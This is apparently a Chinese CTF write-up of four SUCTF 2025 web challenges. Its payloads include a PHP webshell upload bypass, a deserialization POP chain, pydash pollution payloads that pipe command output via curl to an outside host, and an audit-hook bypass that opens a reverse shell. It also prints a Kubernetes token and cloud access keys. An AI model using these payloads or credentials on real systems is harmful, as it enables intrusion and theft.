获取中...

-

Just a minute...

SU_photogallery

7a0df70c-e9e2-4063-a71f-6483bc322897

尝试源码泄露 https://www.cnblogs.com/Kawakaze777/p/17799235.html![e0dcf5e1-a150-4c37-bd6e-bf45ea40a99b](img/SUCTF2025/e0dcf5e1-a150-4c37-bd6e-bf45ea40a99b.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
<?php
error_reporting(0);

function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;
if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));

if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}
}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;

if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}

function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}
}
return true;
}


function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;

}
else{
return false;

}
}
}

function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);


if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n"; return false;
}
else {
continue;
}
}
return true;
}

function unzip($zipname, $basePath) {
$zip = new ZipArchive;

if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}


$uploadDir = DIR . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;

$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}

由于他是先解压再检验移动,只要上传一个文件名超极长的zip,或者把zip的名字写成乱码,他解压就会炸掉。文件就直接保存到upload/suimages/了。此时我们就可以访问我们的马来rce。

然后只需要绕一下黑名单,这个很简单,比如

1
2
3
4
<?php
$a="php";
$b="info";
$a.$b();

44962977-5241-499e-ac40-f209ef3b6748

SUCTF{sti1l_w0t3r_Run_d@@p!!!}

SU_POP

反序列化点在routes.php找的到

ccc3a87f-487f-471f-be96-32b21ee0a1e8

28230e20-3d6d-49ef-a67e-ea7f4064a724

/ser?ser=base64的序列化链子。

php反序列化的入口一般是先找__destruct(),所以先全局搜,然后找可以用的__destruct()

在src\vendor\react\promise\src\Internal\RejectedPromise.php中

48040f10-4f70-4190-a767-4212ec62897b

50a9fb44-f3f8-42aa-8fb4-705187835ef1

reason和handler属性可控,红框圈起来的地方可以调到__toString,再找找__tostring

src\vendor\cakephp\cakephp\src\Http\Response.php里,

8d1f896f-6018-4ebd-9321-907d8600b5fad18d5a15-cbe3-43a0-a3ad-fdac1c8601bf

这里stream属性可控,就能调到任意类的__call方法。

src/vendor/cakephp/cakephp/src/ORM/Table.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call(string $method, array $args): mixed
{
if ($this->_behaviors->hasMethod($method)) {
return $this->_behaviors->call($method, $args);
}
if (preg_match('/^find(?:\w+)?By/', $method) > 0) {
return $this->_dynamicFinder($method, $args);
}

throw new BadMethodCallException(
sprintf('Unknown method `%s` called on `%s`', $method, static::class),
);
}

e24f557f-6f04-426f-86e6-b4a97c7bcc5d

这里method可控,hasMethod方法可以返回true,同样的has方法也可以,那就可以进到:

febf335e-018e-4c72-9b50-66e2345b9f35

这里behavior和callMethod都可控,只是参数不可控,没关系,我们上面调用的__call也正是无参的。那现在可以调用任意类的任意方法了。我们需要找能rce的地方,并且那个地方不需要参数或者参数跟那个函数需要的形参无关。

src\vendor\phpunit\phpunit\src\Framework\MockObject\Generator\MockClass.php

generate这个函数里有eval,而且与传入的参数args无关,里面classCode和mockName的内容可控。

d096f109-f0c4-4e98-8073-4fffafdfb13b

a4747416-25a4-4313-8cf0-4b54f5237ffe

所以链子就形成了:

1
RejectedPromise::__destruct()->Response::__toString()->Table::__call()->BehaviorRegistry::call()->MockClass::->generate()

链子构造细节这里不多赘述

构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
namespace React\Promise\Internal;
use Cake\Http\Response;
final class RejectedPromise
{
private $reason;
private $handled = false;
public function __construct(){
$this->reason = new Response();
}
}

namespace Cake\Http;
use Cake\ORM\Table;
class Response
{
private $stream;
public function __construct(){
$this->stream = new Table();
}
}
namespace Cake\ORM;
use PHPUnit\Framework\MockObject\Generator\MockClass;
class Table{
protected BehaviorRegistry $_behaviors;
public function __construct(){
$this->_behaviors = new BehaviorRegistry();
}
}

class ObjectRegistry{}
class BehaviorRegistry extends ObjectRegistry
{
protected array $_methodMap;
protected array $_loaded = [];
public function __construct(){
$this->_methodMap = ["rewind"=>array("aaa","generate")];
$this->_loaded = ["aaa"=>new MockClass()];
}
}
namespace PHPUnit\Framework\MockObject\Generator;

use function call_user_func;
use function class_exists;
final class MockClass
{
private readonly string $mockName;
private readonly string $classCode;
public function __construct() {
$this->mockName = "aaa";
$this->classCode = "phpinfo();";
}

}

namespace React\Promise\Internal;
$a = new RejectedPromise();
echo base64_encode(serialize($a));

发现要提权,找suid权限的命令:

8960b760-8647-49a2-a22a-5c8a904a1943

find提权。system('find / -name flag.txt -exec cat {} \;');

8960b760-8647-49a2-a22a-5c8a904a1943

SU_blog

先注册:admin/123465

然后登录。

在文章页面可以读取文章,file很明显可以读文件,这里的参数内容必须要以articles开头,所以要目录穿越,而../被置空(articles/../text1.txt是原来的内容),所以可以双写绕过,拿源码。

读文件没读到flag,应该是要rce

6e6e9f36-4226-4043-8fe8-5e36cf78262b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'

articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}

friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
def __init__(self):
pass

user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')


@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))

if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']

if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))

return render_template('change_password.html')


@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)


@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

name = request.form.get('name')
url = request.form.get('url')

if name and url:
friend_links.append({"name": name, "url": url})

return redirect(url_for('friendlinks'))


@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

if 0 <= index < len(friend_links):
del friend_links[index]

return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))

file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")

blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")

if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")

if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")

file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"

return render_template('article.html', file_name=file_name, content=content)


@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json

if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400

key = body.get('key')
value = body.get('value')

if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400

if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400

set_(user_data, key, value)

flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200

except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500

return render_template('admin.html', user_data=user_data)


@app.route('/logout')
def logout():
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))



if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

很多地方用不到,主要是Admin路由。

set_(user_data, key, value)

源码里引了pydash库的_set方法,初步断定是原型链污染。

把数字和__loader__过滤了,好像只有2没过滤。

https://furina.org.cn/2023/12/18/prototype-pollution-in-pydash-ctf/

loader被过滤了,可以用某个模块的__spec__.__init__.__globals__来拿sys。

ps:这里也可以通过覆盖waf来使用loader

1
{"key":"__init__.__globals__.pwaf.__globals__.key_blacklist_bytes","value":""}

本地调试发现有globals,试试出不出网,不出网可以写静态文件。

1
2
3
4
{
"key":"__init__.__globals__.globals.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
"value":"*;import os;os.system('l''s -al / | curl -d @- bxyyymgu.requestrepo.com')"
}

由于是公共靶机,这个打一次就不行了,很麻烦,搓了个脚本一直发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

url1 = "http://27.25.151.48:5000/Admin?pass=SUers"
url2 = "http://27.25.151.48:5001/Admin?pass=SUers"

cookies = {"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.Z4MUfA.gaWUfOrunhWrYl1po8bZCWjzePk"}

json = {
"key":"__init__.__globals__.globals.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
"value":"*;import os;os.system('l''s -al / | curl -d @- bxyyymgu.requestrepo.com')"
}
while True:
res = requests.post(url1, cookies=cookies,json=json)
print(res.text)
print(requests.get(url1,cookies=cookies).text)

res = requests.post(url2, cookies=cookies,json=json)
print(res.text)
print(requests.get(url2,cookies=cookies).text)
time.sleep(5)

c402bd00-1e3f-4882-a1f9-839a0a2b6ea5

有一个readflag,那直接执行了

1
2
3
4
{
"key":"__init__.__globals__.globals.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
"value":"*;import os;os.system('/read''f''lag | curl -d @- bxyyymgu.requestrepo.com')"
}

f7c7f588-5059-46d1-bd4c-c9036e382c8b

一血拿下!

SUCTF{fl4sk_1s_5imp1e_bu7_pyd45h_1s_n0t_s0_I_l0v3}

SU_easyk8s_on_aliyun(REALLY VERY EASY)

1
2
3
4
5
6
7
8
9
10
11
12
13
import os

# 遍历当前目录中的文件
for root, dirs, files in os.walk("."):
for file in files:
file_path = os.path.join(root, file) # 拼接文件的完整路径
print(f"Reading file: {file_path}")
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read() # 读取文件内容
print(f"Content of {file_path}:\n{content}")
except Exception as e:
print(f"Error reading {file_path}: {e}")

读到源码,audit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys

DEBUG = False

def audit_hook(event, args):
audit_functions = {
"os.system": {"ban": True},
"subprocess.Popen": {"ban": True},
"subprocess.run": {"ban": True},
"subprocess.call": {"ban": True},
"subprocess.check_call": {"ban": True},
"subprocess.check_output": {"ban": True},
"_posixsubprocess.fork_exec": {"ban": True},
"os.spawn": {"ban": True},
"os.spawnlp": {"ban": True},
"os.spawnv": {"ban": True},
"os.spawnve": {"ban": True},
"os.exec": {"ban": True},
"os.execve": {"ban": True},
"os.execvp": {"ban": True},
"os.execvpe": {"ban": True},
"os.fork": {"ban": True},
"shutil.run": {"ban": True},
"ctypes.dlsym": {"ban": True},
"ctypes.dlopen": {"ban": True}
}
if event in audit_functions:
if DEBUG:
print(f"[DEBUG] found event {event}")
policy = audit_functions[event]
if policy["ban"]:
strr = f"AUDIT BAN : Banning FUNC:[{event}] with ARGS: {args}"
print(strr)
raise PermissionError(f"[AUDIT BANNED]{event} is not allowed.")
else:
strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event}] with ARGS: {args}"
print(strr)
return

sys.addaudithook(audit_hook)

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from flask import Flask, render_template, request, url_for, flash, redirect

app = Flask(__name__)

import sys

import subprocess

import os

"""
HINT: RCE me!
"""

INDEX_HTML = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Python Executor</title>
</head>
<body>
<h1>Welcome to PyExector</h1>

<textarea id="code" style="width: 100%; height: 200px;" rows="10000" cols="10000" ></textarea>

<button onclick="run()">Run</button>

<h2>Output</h2>
<pre id="output"></pre>

<script>
function run() {
var code = document.getElementById("code").value;

fetch("/run", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
code: code
})
})
.then(response => response.text())
.then(data => {
document.getElementById("output").innerText = data;
});
}
</script>
</body>
</html>
'''

@app.route('/')
def hello():
return INDEX_HTML

@app.route("/run", methods=["POST"])
def runCode():
code = request.json["code"]
cmd = [sys.executable, "-i", f"{os.getcwd()}/audit.py"]
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
return p.communicate(input=code.encode('utf-8'))[0]


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)

提示是让RCE。

https://xz.aliyun.com/t/12647?time__1311=GqGxuDRiYiwxlrzG7DyGQjb2if0ox#toc-35

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"aaa","/"], [b"/bin/ls"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

这样可以rce了。

弹shell

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"","-c","{echo,xxxx}|{base64,-d}|{bash,-i}"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

d2414b32-ec35-4c77-8a29-a3a8598c3f30

/var/run/secrets/kubernetes.io/serviceaccount/token

1
2
3
4
5
6
7
8
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRucGZMWXZWdjlIcUx5bGNlWGVELWljN0NqUlo4bHNFWGlKVDNBX0hhUm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJ
rM3MiXSwiZXhwIjoxNzY4MjAyNjE4LCJpYXQiOjE3MzY2NjY2MTgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNGVlODQyYzctYzg4Zi00NjExLWFkNTgtM
2VmMDBlMzc5ZTNjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiaXpicDFjbzZwemhmZ3hreXF4NHZmd3oiLCJ1aWQiOiIxODhlNDBhNC1kOTM3LTQ5ODMtOThhOS0
5ZDY0NjUzODM0NDMifSwicG9kIjp7Im5hbWUiOiJjdGYtZGVwbG95bWVudC03ZDg1ZDg0ODg4LTh3YzduIiwidWlkIjoiMWVlNjU5ZjctMWIzMS00NDY5LTlhZWItNzFlMzNhNGQ1N2Y4In0sInNlcnZpY2VhY2NvdW50I
jp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMWM0MGZjYWYtM2NkZS00OGUyLTkzOTYtZDBlOGY3ZTlhZjcyIn0sIndhcm5hZnRlciI6MTczNjY3MDIyNX0sIm5iZiI6MTczNjY2NjYxOCwic3ViIjoic3lzdGVtOnNlcnZ
pY2VhY2NvdW50OmRlZmF1bHQ6ZGVmYXVsdCJ9.p_VyIStlWJbygScXdozYOyuBWut9LDC5Kwb2Y5YK66AG1tf4RKDtaeS47v3twhxfO9SdInudxS0-Gp7fqnqVy6M1-AuLYx3_UeBIvXRPTfmU0nCHIkSYVYDwMCn4KMq3
dp3HsoW_LE3M1oykLRe3z80-72YN4pbNXiCHLdgA5sKXl1xOJidpa7mu-Ta7UJn-hV3-5F4HIqHaIMCw9_r67suLoQX7JcCr1rIf0KYX4C12GpeXfeAR2d-i66dhrzp9rCyPx942CkhTtqegiQ-QqgDYAWDNYvOnpgV7S8
lKuURMKGlzuBM1nffuebF5wVoohurVjFwnBk7m99A9CmqERQ

发现serviceaccount相关文件,连接api执行can-i发现没有权限,换其他方案

CDK扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
CDK (Container DucK)
CDK Version(GitCommit): 251f18c614f925f26569f9cc6177c3b3fd656bd2
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/

[ Information Gathering - System Info ]
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/bin/chfn
/bin/chsh
/bin/gpasswd
/bin/mount
/bin/newgrp
/bin/passwd
/bin/su
/bin/umount

[ Information Gathering - Services ]

[ Information Gathering - Commands and Capabilities ]
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
Cap decode: 0x0000000000000000 =
[*] Maybe you can exploit the Capabilities below:

[ Information Gathering - Mounts ]
0:389 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/783/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/782/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/781/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/114/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/113/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/112/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/110/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/109/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/108/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/107/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/106/fs,upperdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2136/fs,workdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2136/work
0:447 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:448 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:449 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:394 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:414 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:30 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - cgroup2 cgroup rw,nsdelegate,memory_recursiveprot
252:3 /var/lib/kubelet/pods/cf3c0f7c-6f8e-4ec7-96ab-afaabf79f3b9/etc-hosts /etc/hosts rw,relatime - ext4 /dev/vda3 rw
252:3 /var/lib/kubelet/pods/cf3c0f7c-6f8e-4ec7-96ab-afaabf79f3b9/containers/vuln-container/f30344ca /dev/termination-log rw,relatime - ext4 /dev/vda3 rw
252:3 /var/lib/rancher/k3s/agent/containerd/io.containerd.grpc.v1.cri/sandboxes/3d083d23aa076f9e4d21b1499fc54b3c610ec06454d7f646e19229c0e660f714/hostname /etc/hostname rw,relatime - ext4 /dev/vda3 rw
252:3 /var/lib/rancher/k3s/agent/containerd/io.containerd.grpc.v1.cri/sandboxes/3d083d23aa076f9e4d21b1499fc54b3c610ec06454d7f646e19229c0e660f714/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/vda3 rw
0:368 / /dev/shm rw,relatime - tmpfs shm rw,size=65536k,inode64
0:366 / /run/secrets/kubernetes.io/serviceaccount ro,relatime - tmpfs tmpfs rw,size=7441152k,inode64
0:447 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw
0:447 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw
0:447 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw
0:447 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw
0:447 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw
0:450 / /proc/acpi ro,relatime - tmpfs tmpfs ro,inode64
0:448 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:448 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:448 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:451 / /proc/scsi ro,relatime - tmpfs tmpfs ro,inode64
0:452 / /sys/firmware ro,relatime - tmpfs tmpfs ro,inode64
0:453 / /sys/devices/virtual/powercap ro,relatime - tmpfs tmpfs ro,inode64

[ Information Gathering - Net Namespace ]
container net namespace isolated.

[ Information Gathering - Sysctl Variables ]

[ Information Gathering - DNS-Based Service Discovery ]
error when requesting coreDNS: lookup any.any.svc.cluster.local. on 10.43.0.10:53: no such host
error when requesting coreDNS: lookup any.any.any.svc.cluster.local. on 10.43.0.10:53: no such host

[ Discovery - K8s API Server ]
err found in post request, error response code: 401 Unauthorized.
api-server forbids anonymous request.
response:{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}


[ Discovery - K8s Service Account ]
service-account is available
err found in post request, error response code: 403 Forbidden.

[ Discovery - Cloud Provider Metadata API ]
Alibaba Cloud Metadata API available in http://100.100.100.200/latest/meta-data/
Docs: https://help.aliyun.com/knowledge_detail/49122.html

[ Exploit Pre - Kernel Exploits ]
[+] [CVE-2022-0847] DirtyPipe

Details: https://dirtypipe.cm4all.com/
Exposure: less probable
Tags: ubuntu=(20.04|21.04),debian=11
Download URL: https://haxx.in/files/dirtypipez.c

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded



[ Information Gathering - Sensitive Files ]
/.bashrc - /etc/skel/.bashrc
/serviceaccount - /run/secrets/kubernetes.io/serviceaccount

[ Information Gathering - ASLR ]

[ Information Gathering - Cgroups ]
0::/

发现阿里云metadata,在ram中找到一个STS token

1
2
3
4
5
6
7
8
9
10
http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root

{
"AccessKeyId" : "STS.NTfZuo3n761cQMys2MNiNBo9a",
"AccessKeySecret" : "5zbrTpf6iWzMu6DdPpy42ZCj2kDfrwbte4JT9LLCQBzY",
"Expiration" : "2025-01-12T14:05:03Z",
